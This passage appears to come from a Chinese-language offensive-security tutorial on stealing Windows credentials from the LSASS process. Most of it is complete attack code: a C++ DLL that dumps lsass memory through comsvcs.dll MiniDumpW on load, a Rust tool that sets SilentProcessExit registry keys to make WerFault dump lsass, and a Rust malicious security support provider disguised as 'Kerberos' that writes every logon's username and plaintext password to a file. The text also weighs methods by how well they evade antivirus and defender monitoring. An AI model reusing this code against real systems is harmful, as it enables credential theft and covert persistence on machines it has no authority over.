            // 提升当前进程的 SeDebugPrivilege 权限
            if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL))
            {
                std::cout << "Token privileges adjusted successfully" << std::endl;

                // 关闭访问令牌句柄
                CloseHandle(hToken);
            }
            else {
                std::cout << "AdjustTokenPrivileges faile" << std:endl;
            }
        }
        else {
            std::cout << "LookupPrivilegeValue faile" << std::endl;
        }
    }
    else {
        std::cout << "OpenProcessToken faile" << std::endl;
    }

}

再配合上获取lsass进程pid和dump 进程后完整代码就是

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <iostream>
using namespace std;
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (Process32First(hSnapshot, &entry)) {
        while (Process32Next(hSnapshot, &entry)) {
            if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
                return entry.th32ProcessID;
            }
        }
    }

    CloseHandle(hSnapshot);
    return 0;
}
void getPrivilege()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    // 打开当前进程的访问令牌
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        // 获取 SeDebugPrivilege 权限的本地权限 ID
        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
        {
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            // 提升当前进程的 SeDebugPrivilege 权限
            if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL))
            {
                cout << "Token privileges adjusted successfully" << endl;

                // 关闭访问令牌句柄
                CloseHandle(hToken);
            }
            else {
                cout << "AdjustTokenPrivileges faile" << endl;
            }
        }
        else {
            cout << "LookupPrivilegeValue faile" << endl;
        }
    }
    else {
        cout << "OpenProcessToken faile" << endl;
    }

}
void DumpLsass()
{
    wchar_t  ws[100];
    _MiniDumpW MiniDumpW;

    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    cout << "GetProcAddress MiniDumpW success" << endl;
    swprintf(ws, 100, L"%u %hs", GetLsassPid(), "C:\\temp.bin full");   

    getPrivilege();

    MiniDumpW(0, 0, ws);
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DumpLsass();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
int main() {
    DumpLsass();
}

SilentProcessExit进行Dump

具体原理参考文章:利用SilentProcessExit机制dump内存

Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。在某个运行中的进程崩溃时,werfault.exe将会Dump崩溃进程的内存,从这一点上看,我们是有可能可以利用该行为进行目标进程内存的Dump。

优点:系统正常行为
缺点:需要写注册表

该机制提供了在两种情况下可以触发对被监控进行进行特殊动作的能力:

  • (1)被监控进程调用 ExitProcess() 终止自身;
  • (2)其他进程调用 TerminateProcess() 结束被监控进程。

也就意味着当进程调用ExitProcess() 或 TerminateProcess()的时候,可以触发对该进程的如下几个特殊的动作:

- 启动一个监控进程
- 显示一个弹窗
- 创建一个Dump文件

但由于该功能默认不开启,我们需要对注册表进行操作,来开启该功能,主要的注册表项为:

添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
名称               类型               数据
DumpType            REG_DWORD     完全转储目标进程内存的值为MiniDumpWithFullMemory (0x2)
LocalDumpFolder     REG_SZ        (DUMP文件被存放的目录,默认为%TEMP%\\Silent Process Exit)c:\temp
ReportingMode(REG_DWORD)    REG_DWORD   a)LAUNCH_MONITORPROCESS (0x1) – 启动监控进程;
                                              b)LOCAL_DUMP (0x2) – 为导致被监控进程终止的进程和被监控进程本身 二者 创建DUMP文件;
                                              c)NOTIFICATION (0x4) – 显示弹窗。

添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
名称              类型          数据
GlobalFlag      REG_DWORD     0x200

另外就是第二个注册表,这个主要是设置dump内存的一些细节问题,比如dump的位置、崩溃后操作的类型,这类选择的是LOCAL_DUMP,即0x2也就是为导致终止的进程和终止的进程创建一个转储文件。

这里我们需要使用的是MiniDumpWithFullMemory对应的值是0x2。
kgmsmtjnu1v13127.png

关于MiniDumpWithFullMemory,其都定义在MINIDUMP_TYPE之中,其结构体如下:

typedef enum _MINIDUMP_TYPE {
  MiniDumpNormal,
  MiniDumpWithDataSegs,
  MiniDumpWithFullMemory,
  MiniDumpWithHandleData,
  MiniDumpFilterMemory,
  MiniDumpScanMemory,
  MiniDumpWithUnloadedModules,
  MiniDumpWithIndirectlyReferencedMemory,
  MiniDumpFilterModulePaths,
  MiniDumpWithProcessThreadData,
  MiniDumpWithPrivateReadWriteMemory,
  MiniDumpWithoutOptionalData,
  MiniDumpWithFullMemoryInfo,
  MiniDumpWithThreadInfo,
  MiniDumpWithCodeSegs,
  MiniDumpWithoutAuxiliaryState,
  MiniDumpWithFullAuxiliaryState,
  MiniDumpWithPrivateWriteCopyMemory,
  MiniDumpIgnoreInaccessibleMemory,
  MiniDumpWithTokenInformation,
  MiniDumpWithModuleHeaders,
  MiniDumpFilterTriage,
  MiniDumpWithAvxXStateContext,
  MiniDumpWithIptTrace,
  MiniDumpScanInaccessiblePartialPages,
  MiniDumpValidTypeFlags
} MINIDUMP_TYPE;

下面就是让lsass进程终止了,但是lsass.exe是系统进程,如果彻底终止就会导致系统蓝屏从而重启电脑,但是我们的目的只是为了转储lsass进程而不让电脑重启,这个时候我们就用到了RtlReportSilentProcessExit这个api,该API将与Windows错误报告服务(WerSvcGroup下的WerSvc)通信,告诉服务该进程正在执行静默退出。然后,WER服务将启动WerFault.exe,该文件将转储现有进程。值得注意的是,调用此API不会导致进程退出。其定义如下:


NTSTATUS (NTAPI * RtlReportSilentProcessExit )(
        _In_      HANDLE      ProcessHandle,
        _In_      NTSTATUS    ExitStatus 
       );

所以最终的流程就是类似如图
hebghaq1y3013128.png

作者的代码中,提供了两种方法来实现崩溃,一种是直接调用RtlReportSilentProcessExit,而另一种则是使用CreateRemoteThread()来实现,实际上就是远程在LSASS中创建线程执行RtlReportSilentProcessExit

这里使用的是第一种方式来实现的。
代码 https://github.com/haoami/RustHashDump

use std::{mem::{ size_of, transmute}, ffi::{CStr, OsString, c_void, OsStr, CString}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}, ptr::null_mut, process::ExitStatus};
use std::ptr;
use clap::{App,Arg};
use log::{error};
use windows_sys::{Win32::{Foundation::{
    CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID, NTSTATUS,
}, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::{OpenProcessToken, GetCurrentProcess, PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_VM_READ}, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD, Registry::{HKEY_LOCAL_MACHINE, HKEY, RegOpenKeyExW, KEY_READ, KEY_WRITE, RegCreateKeyExW, KEY_SET_VALUE, RegSetValueExA, REG_DWORD, KEY_ALL_ACCESS, REG_SZ, RegCreateKeyA, REG_CREATED_NEW_KEY}, LibraryLoader::{GetModuleHandleA, GetProcAddress, GetModuleHandleW}}, Storage::FileSystem::CreateFileA, UI::WindowsAndMessaging::GetWindowModuleFileNameA}, core::PCSTR};
use windows_sys::Win32::Storage::FileSystem::{
    CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
};
use windows_sys::Win32::System::Diagnostics::Debug::{
    MiniDumpWithFullMemory,MiniDumpWriteDump
};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
    CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
};

use windows_sys::Win32::System::SystemServices::GENERIC_ALL;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};

type FnRtlreportSilentProcessExit = unsafe extern "system" fn(HANDLE, NTSTATUS) -> NTSTATUS;

fn getPrivilege(handle : HANDLE){
    unsafe{
        let mut h_token: HANDLE =  HANDLE::default();
        let mut h_token_ptr: *mut HANDLE = &mut h_token;
        let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
            PrivilegeCount: 1,
            Privileges: [LUID_AND_ATTRIBUTES {
                Luid: LUID {
                    LowPart: 0,
                    HighPart: 0,
                },
                Attributes: SE_PRIVILEGE_ENABLED,
            }],
        };
        // 打开当前进程的访问令牌
        let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);
        if   token != 0 {
            let systemname  = ptr::null_mut();
            if  LookupPrivilegeValueA(
                systemname,
                b"SeDebugPrivilege\0".as_ptr(),
                &mut tkp.Privileges[0].Luid) != 0 {
                tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                // println!("{:?}",tkp.Privileges[0].Attributes);
                // 提升当前进程的 SeDebugPrivilege 权限
                if  AdjustTokenPrivileges(
                    h_token,
                    0, 
                    &tkp  as *const TOKEN_PRIVILEGES, 
                    0, 
                    ptr::null_mut(), 
                    ptr::null_mut()) != 0 {
                    println!("Token privileges adjusted successfully");
                } else {
                    let last_error = GetLastError() ;
                    println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error);
                }
            } else {
                let last_error = GetLastError() ;
                println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error);
            }
            // 关闭访问令牌句柄
                CloseHandle(h_token);
        } else {
            let last_error = GetLastError() ;
            println!("OpenProcessToken failed with error: STATUS({:?})", last_error);
        }
    }
}

fn getPid(ProcessName : &str) -> u32{
    unsafe{
        let mut h_snapshot =  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if h_snapshot == INVALID_HANDLE_VALUE {
            println!("Failed to call CreateToolhelp32Snapshot");
        }
        let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>()   ;
        process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32;

        if Process32First(h_snapshot, &mut process_entry) == 0 {
            println!("Process32First error");
        }

        loop {
            let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes();
            let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned();
            if extfile.starts_with(ProcessName){

                break;
            }
            if Process32Next(h_snapshot, &mut process_entry) == 0 {
                println!("Failed to call Process32Next");
                break;
            }
        }
        process_entry.th32ProcessID
    }
}
fn setRegisterRegs() {
    unsafe{
        let key = HKEY_LOCAL_MACHINE;
        let  IFEO_REG_KEY = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe";
        let  SILENT_PROCESS_EXIT_REG_KEY= r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe";

        let subkey = OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<_>>();
        let mut hKey = HKEY::default();

        let mut hSubKey = HKEY::default();
        let ret = RegCreateKeyExW(
            key,
            OsString::from(SILENT_PROCESS_EXIT_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(),
            0, 
            null_mut(), 
            0, 
            KEY_ALL_ACCESS, 
            ptr::null_mut(), 
            &mut hSubKey, 
            ptr::null_mut());
        if ret != 0   {
            println!("{:?}",ret);
            println!("[-] CreateKey SilentProcessExit\\lsass.exe ERROR\n");
        }

        let DumpTypevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ;
        let DumpTypekey = CString::new("DumpType").unwrap();
        let ret = RegSetValueExA(
            hSubKey,
            DumpTypekey.as_ptr() as *const u8,
            0,
            REG_DWORD,
            DumpTypevalue,
            size_of::<u32>() as u32
        );
        if ret != 0{
            println!("[-] SetDumpTypeKey SilentProcessExit\\lsass.exe  ERROR\n");
        }

        let ReportingModevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ;
        let ReportingModekey = CString::new("ReportingMode").unwrap();

        let ret = RegSetValueExA(
            hSubKey,
            ReportingModekey.as_ptr() as *const u8,
            0,
            REG_DWORD,
            ReportingModevalue,
            size_of::<u32>() as u32
        );
        if ret != 0{
            println!("[-] SetReportingModevalueKey SilentProcessExit\\lsass.exe ERROR\n");
        }

        let ReportingModevalue = "C:\\temp" ;
        let ReportingModekey = CString::new("LocalDumpFolder").unwrap();
        let ret = RegSetValueExA(
            hSubKey,
            ReportingModekey.as_ptr() as *const u8,
            0,
            REG_SZ,
            ReportingModevalue.as_ptr(),
            ReportingModevalue.len() as u32
        );
        if ret != 0{
            println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n");
        }

        let mut hSubKey = HKEY::default();
        let ret = RegCreateKeyExW(
            key,
            OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(),
            0, 
            null_mut(), 
            0, 
            KEY_ALL_ACCESS, 
            ptr::null_mut(), 
            &mut hSubKey, 
            ptr::null_mut());
        if ret != 0  {
            println!("[-] CreateKey {:?} ERROR\n",IFEO_REG_KEY);
        }

        let GlobalFlagvalue = std::mem::transmute::<&i32,*const u8>(&0x0200) ;
        let GlobalFlagkey = CString::new("GlobalFlag").unwrap();
        let ret = RegSetValueExA(
            hSubKey,
            GlobalFlagkey.as_ptr() as *const u8,
            0,
            REG_DWORD,
            GlobalFlagvalue,
            size_of::<u32>() as u32
        );
        if ret != 0{
            println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n");
        }
        println!("SetRegistryReg successful!");
    }
}

fn main() {
    let matches = App::new("SysWhispers3 - SysWhispers on steroids")
    .arg(Arg::with_name("DumpFileName")
        .short("f")
        .long("DumpFileName")
        .takes_value(true)
        .help("DumpFileName Path like C:\\temp.dmp")).get_matches();
    let mut out_file = "";
    if   matches.is_present("DumpFileName") {
        out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error");
    }else {
        out_file = "lsass.dmp";
    }
    // getProcess(out_file);
    getPrivilege(unsafe { GetCurrentProcess() });
    setRegisterRegs();
    let lsassPid = getPid("lsass.exe");
    let process_handle = unsafe { OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPid) };
    if process_handle == 0 {
        println!("Fail to open the Lsassprocess ");
    }
    unsafe{
        let ntdll_module_name: Vec<u16> = OsStr::new("ntdll.dll").encode_wide().chain(Some(0).into_iter()).collect();
        let h_nt_mod =  GetModuleHandleW(ntdll_module_name.as_ptr());

        if h_nt_mod ==0 {
            println!(" - 获取NTDLL模块句柄失败");

        }
        let function_name = CString::new("RtlReportSilentProcessExit").unwrap();

        let FnRtlreportSilentProcessExit  = GetProcAddress(
            h_nt_mod, 
            function_name.as_ptr() as *const u8).expect("") ;
        let fn_rtl_report_silent_process_exit : FnRtlreportSilentProcessExit = transmute(FnRtlreportSilentProcessExit);
        let desired_access = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ;
        let h_lsass_proc = OpenProcess(desired_access, 0, lsassPid);
        if h_lsass_proc == 0 {
            println!("[+] 获取lsass进程句柄失败: {:X}", GetLastError());
        }
        println!("[+] Got {:?} PID: {:?}","lsass.exe",lsassPid as u32);

        let ntstatus = fn_rtl_report_silent_process_exit(h_lsass_proc,0);
        if ntstatus == 0{
            println!("[+] DumpLsass Successful and file is c:\\temp\\lsass*.dmp...RET CODE : %#X\n");
        }else {
            println!("FnRtlreportSilentProcessExit error!");
        }
    }

}

添加自定义的SSP

SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。

官方解释
455rnxsud3q13129.png
在windowsw中lsass.exe和winlogin.exe进程是用来管理登录的两个进程,都包含在LSA(Local Security Authority)里面,它主要是负责运行windows系统安全策略。SSP在windows启动之后,会被加载到lsass.exe进程中,所以关于SSP的用户密码窃取一般是下面几种方法。

(1) 使用MemSSP对lsass进行patch

优点:

  • 不需要重启服务器
  • Lsass进程中不会出现可疑的DLL
    缺点:
  • 需要调用WriteProcessMemory对lsass进行操作,可能会被标记

(2) 使用AddSecurityPackage加载SSP

优点:

  • 可以绕过部分杀软对lsass的监控
  • 可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况
  • 不需要重启服务器
    缺点:
  • 需要写注册表
  • 需要将SSP的dll拷贝到system32下
  • Blue Team可以通过枚举SSP来发现我们自定义的SSP,并且lsass进程中可以看到加载的DLL

(3) 通过RPC加载SSP

优点:

  • 可以绕过杀软对lsass的监控
  • 可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况
  • 不需要重启服务器
  • 不需要写注册表
    缺点:
  • 因为没有写注册表,所以无法持久化,如果目标机器重启的话将无法记录密码(因此个人认为比较适合在Server上用,不适合在PC上用)

这里用rust对三种方法都进行一个实现,暂且实现了AddSecurityPackage方法,后续github持续更新。一些基础知识可以看msdn->https://learn.microsoft.com/zh-cn/windows/win32/secauthn/lsa-mode-initialization

使用AddSecurityPackage加载SSP

完整代码在 https://github.com/haoami/RustSSPdumpHash
lib如下

use std::{os::{windows::prelude::{FileExt, OsStringExt, OsStrExt}, raw::c_void}, io::Write, slice, ffi::{OsString, CString}, fs::File};
use windows::{
    Win32::{
        Security::{
            Authentication::Identity::{ 
                SECPKG_PARAMETERS, LSA_SECPKG_FUNCTION_TABLE, SECPKG_FLAG_ACCEPT_WIN32_NAME, SECPKG_FLAG_CONNECTION, SECURITY_LOGON_TYPE, LSA_UNICODE_STRING, SECPKG_PRIMARY_CRED, SECPKG_SUPPLEMENTAL_CRED, SECPKG_INTERFACE_VERSION, SecPkgInfoW, PLSA_AP_INITIALIZE_PACKAGE, PLSA_AP_LOGON_USER, PLSA_AP_CALL_PACKAGE, PLSA_AP_LOGON_TERMINATED, PLSA_AP_CALL_PACKAGE_PASSTHROUGH, PLSA_AP_LOGON_USER_EX, PLSA_AP_LOGON_USER_EX2, SpShutdownFn, SpInitializeFn, SpAcceptCredentialsFn, SpAcquireCredentialsHandleFn, SpFreeCredentialsHandleFn, LSA_AP_POST_LOGON_USER, SpExtractTargetInfoFn, PLSA_AP_POST_LOGON_USER_SURROGATE, PLSA_AP_PRE_LOGON_USER_SURROGATE, PLSA_AP_LOGON_USER_EX3, SpGetTbalSupplementalCredsFn, SpGetRemoteCredGuardSupplementalCredsFn, SpGetRemoteCredGuardLogonBufferFn, SpValidateTargetInfoFn, SpUpdateCredentialsFn, SpGetCredUIContextFn, SpExchangeMetaDataFn, SpQueryMetaDataFn, SpChangeAccountPasswordFn, SpSetCredentialsAttributesFn, SpSetContextAttributesFn, SpSetExtendedInformationFn, SpAddCredentialsFn, SpQueryContextAttributesFn, SpGetExtendedInformationFn, SpGetUserInfoFn, SpApplyControlTokenFn, SpDeleteContextFn, SpAcceptLsaModeContextFn, SpInitLsaModeContextFn, SpDeleteCredentialsFn, SpGetCredentialsFn, SpSaveCredentialsFn, SpQueryCredentialsAttributesFn}, Authorization::ConvertSidToStringSidW
            }, 
            Foundation::{NTSTATUS, STATUS_SUCCESS, PSID}
        }, core::PWSTR
    };
use windows::core::Result;
use windows::core::Error;

pub type SpGetInfoFn = ::core::option::Option<unsafe extern "system" fn(packageinfo: *mut SecPkgInfoW) -> NTSTATUS>;

#[repr(C)]
pub struct SECPKG_FUNCTION_TABLE {
    pub InitializePackage: PLSA_AP_INITIALIZE_PACKAGE,
    pub LogonUserA: PLSA_AP_LOGON_USER,
    pub CallPackage: PLSA_AP_CALL_PACKAGE,
    pub LogonTerminated: PLSA_AP_LOGON_TERMINATED,
    pub CallPackageUntrusted: PLSA_AP_CALL_PACKAGE,
    pub CallPackagePassthrough: PLSA_AP_CALL_PACKAGE_PASSTHROUGH,
    pub LogonUserExA: PLSA_AP_LOGON_USER_EX,
    pub LogonUserEx2: PLSA_AP_LOGON_USER_EX2,
    pub Initialize: SpInitializeFn,
    pub Shutdown: SpShutdownFn,
    pub GetInfo: SpGetInfoFn,
    pub AcceptCredentials: SpAcceptCredentialsFn,
    pub AcquireCredentialsHandleA: SpAcquireCredentialsHandleFn,
    pub QueryCredentialsAttributesA: SpQueryCredentialsAttributesFn,
    pub FreeCredentialsHandle: SpFreeCredentialsHandleFn,
    pub SaveCredentials: SpSaveCredentialsFn,
    pub GetCredentials: SpGetCredentialsFn,
    pub DeleteCredentials: SpDeleteCredentialsFn,
    pub InitLsaModeContext: SpInitLsaModeContextFn,
    pub AcceptLsaModeContext: SpAcceptLsaModeContextFn,
    pub DeleteContext: SpDeleteContextFn,
    pub ApplyControlToken: SpApplyControlTokenFn,
    pub GetUserInfo: SpGetUserInfoFn,
    pub GetExtendedInformation: SpGetExtendedInformationFn,
    pub QueryContextAttributesA: SpQueryContextAttributesFn,
    pub AddCredentialsA: SpAddCredentialsFn,
    pub SetExtendedInformation: SpSetExtendedInformationFn,
    pub SetContextAttributesA: SpSetContextAttributesFn,
    pub SetCredentialsAttributesA: SpSetCredentialsAttributesFn,
    pub ChangeAccountPasswordA: SpChangeAccountPasswordFn,
    pub QueryMetaData: SpQueryMetaDataFn,
    pub ExchangeMetaData: SpExchangeMetaDataFn,
    pub GetCredUIContext: SpGetCredUIContextFn,
    pub UpdateCredentials: SpUpdateCredentialsFn,
    pub ValidateTargetInfo: SpValidateTargetInfoFn,
    pub PostLogonUser: LSA_AP_POST_LOGON_USER,
    pub GetRemoteCredGuardLogonBuffer: SpGetRemoteCredGuardLogonBufferFn,
    pub GetRemoteCredGuardSupplementalCreds: SpGetRemoteCredGuardSupplementalCredsFn,
    pub GetTbalSupplementalCreds: SpGetTbalSupplementalCredsFn,
    pub LogonUserEx3: PLSA_AP_LOGON_USER_EX3,
    pub PreLogonUserSurrogate: PLSA_AP_PRE_LOGON_USER_SURROGATE,
    pub PostLogonUserSurrogate: PLSA_AP_POST_LOGON_USER_SURROGATE,
    pub ExtractTargetInfo: SpExtractTargetInfoFn,
}
const SecPkgFunctionTable : SECPKG_FUNCTION_TABLE= SECPKG_FUNCTION_TABLE{
    InitializePackage: None , 
    LogonUserA: None ,
    CallPackage: None,
    LogonTerminated: None,
    CallPackageUntrusted: None,
    CallPackagePassthrough: None,
    LogonUserExA: None,
    LogonUserEx2: None,
    Initialize: Some(_SpInitialize),
    Shutdown: Some(_SpShutDown),
    GetInfo: Some(_SpGetInfo),
    AcceptCredentials: Some(_SpAcceptCredentials),
    AcquireCredentialsHandleA: None,
    QueryCredentialsAttributesA: None,
    FreeCredentialsHandle: None,
    SaveCredentials: None,
    GetCredentials: None,
    DeleteCredentials: None,
    InitLsaModeContext: None,
    AcceptLsaModeContext: None,
    DeleteContext: None,
    ApplyControlToken: None,
    GetUserInfo: None,
    GetExtendedInformation: None,
    QueryContextAttributesA: None,
    AddCredentialsA: None,
    SetExtendedInformation: None,
    SetContextAttributesA: None,
    SetCredentialsAttributesA: None,
    ChangeAccountPasswordA: None,
    QueryMetaData: None,
    ExchangeMetaData: None,
    GetCredUIContext: None,
    UpdateCredentials: None,
    ValidateTargetInfo: None,
    PostLogonUser: None,
    GetRemoteCredGuardLogonBuffer: None,
    GetRemoteCredGuardSupplementalCreds: None,
    GetTbalSupplementalCreds: None,
    LogonUserEx3: None,
    PreLogonUserSurrogate: None,
    PostLogonUserSurrogate: None,
    ExtractTargetInfo: None,
};

#[no_mangle]
pub unsafe extern "system" fn _SpGetInfo(packageinfo: *mut SecPkgInfoW) -> NTSTATUS {
    (*packageinfo).fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
    (*packageinfo).wVersion = 1;
    (*packageinfo).wRPCID = 0; 
    (*packageinfo).cbMaxToken = 0;
    let name = OsString::from("Kerberos").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr();
    let Comment= OsString::from("Kerberos v1.0").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr();
    (*packageinfo).Name = name as *mut u16;
    (*packageinfo).Comment = Comment as *mut u16;
    STATUS_SUCCESS
}

#[no_mangle]
pub unsafe extern "system" fn _SpShutDown() -> NTSTATUS {
    STATUS_SUCCESS
}
#[no_mangle]
pub unsafe extern "system" fn _SpInitialize(
        packageid: usize,
        parameters: *const SECPKG_PARAMETERS,
        functiontable: *const LSA_SECPKG_FUNCTION_TABLE,
    ) -> NTSTATUS {
        STATUS_SUCCESS
    }
pub fn lsa_unicode_string_to_string(lsa_us: &LSA_UNICODE_STRING) -> String {
        let slice = unsafe { slice::from_raw_parts(lsa_us.Buffer.0 as *const u16, lsa_us.Length as usize / 2) };
        let os_string = OsString::from_wide(slice);
        os_string.into_string().unwrap()
}
#[no_mangle]
pub unsafe extern "system" fn _SpAcceptCredentials(
        logontype: SECURITY_LOGON_TYPE,
        accountname: *const LSA_UNICODE_STRING,
        primarycredentials: *const SECPKG_PRIMARY_CRED,
        supplementalcredentials: *const SECPKG_SUPPLEMENTAL_CRED,
    ) -> NTSTATUS {
        let mut logfile = File::create("C:\\temp.log").expect("");
        logfile.write_all(">>>>\n".as_bytes()).expect("CustSSP.log write failed");
        writeln!(
            logfile,
            "[+] Authentication Id : {}:{} ({:08x}:{:08x})",
            (*primarycredentials).LogonId.HighPart,
            (*primarycredentials).LogonId.LowPart,
            (*primarycredentials).LogonId.HighPart,
            (*primarycredentials).LogonId.LowPart,
        ).unwrap();
        let logon_type_str = match logontype {
            SECURITY_LOGON_TYPE::UndefinedLogonType => "UndefinedLogonType",
            SECURITY_LOGON_TYPE::Interactive => "Interactive",
            SECURITY_LOGON_TYPE::Network => "Network",
            SECURITY_LOGON_TYPE::Batch => "Batch",
            SECURITY_LOGON_TYPE::Service => "Service",
            SECURITY_LOGON_TYPE::Proxy => "Proxy",
            SECURITY_LOGON_TYPE::Unlock => "Unlock",
            SECURITY_LOGON_TYPE::NetworkCleartext => "NetworkCleartext",
            SECURITY_LOGON_TYPE::NewCredentials => "NewCredentials",
            SECURITY_LOGON_TYPE::RemoteInteractive => "RemoteInteractive",
            SECURITY_LOGON_TYPE::CachedInteractive => "CachedInteractive",
            SECURITY_LOGON_TYPE::CachedRemoteInteractive => "CachedRemoteInteractive",
            SECURITY_LOGON_TYPE::CachedUnlock => "CachedUnlock",
            _ => "Unknown !"
        };
        writeln!(logfile, "[+] Logon Type        : {}", logon_type_str).unwrap();
        writeln!(logfile, "[+] User Name         : {:?}", accountname);
        writeln!(logfile, "[+] * Domain   : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DomainName));
        writeln!(logfile, "[+] * Logon Server     : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).LogonServer));
        writeln!(logfile, "[+] * SID     : {:?}", convert_sid_to_string((*primarycredentials).UserSid));
        writeln!(logfile, "[+] * UserName   : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DownlevelName));
        writeln!(logfile, "[+] * Password       : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).Password));
        drop(logfile);
        STATUS_SUCCESS
    }

#[no_mangle]
pub fn convert_sid_to_string(sid: PSID) -> Result<String> {
        let mut sid_string_ptr: PWSTR = windows::core::PWSTR(std::ptr::null_mut());
        let result = unsafe { ConvertSidToStringSidW(sid, &mut sid_string_ptr) };
        if result.is_ok() {
            let sid_string = unsafe { get_string_from_pwstr(sid_string_ptr) };
            Ok(sid_string)
        } else {
            Err(Error::from_win32())
        }
    }

#[no_mangle]
pub unsafe fn get_string_from_pwstr(pwstr: PWSTR) -> String {
        let len = (0..).take_while(|&i| *pwstr.0.offset(i) != 0).count();
        let slice = std::slice::from_raw_parts(pwstr.0 as *const u16, len);
        String::from_utf16_lossy(slice)
    }

#[no_mangle]
pub unsafe extern "system" fn SpLsaModeInitialize(
    LsaVersion: u32,
    PackageVersion: *mut u32,
    ppTables: *mut *const SECPKG_FUNCTION_TABLE,
    pcTables: *mut u32,
) -> NTSTATUS {
    *PackageVersion = SECPKG_INTERFACE_VERSION ;
    *ppTables = &SecPkgFunctionTable;
    *pcTables = 1 as u32;
    STATUS_SUCCESS
}

t4cdvnj4ula13130.png

参考文章
https://lengjibo.github.io/lassdump/
https://xz.aliyun.com/t/12157#toc-10
https://www.crisprx.top/archives/469
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E8%BF%9C%E7%A8%8B%E4%BB%8Elsass.exe%E8%BF%9B%E7%A8%8B%E5%AF%BC%E5%87%BA%E5%87%AD%E6%8D%AE
https://www.freebuf.com/sectool/226170.html
https://xz.aliyun.com/t/12157#toc-4
https://cloud.tencent.com/developer/article/2103172
https://mrwu.red/web/2000.html
https://www.wangan.com/p/11v72bf602eabeb6#SpAcceptCredentials
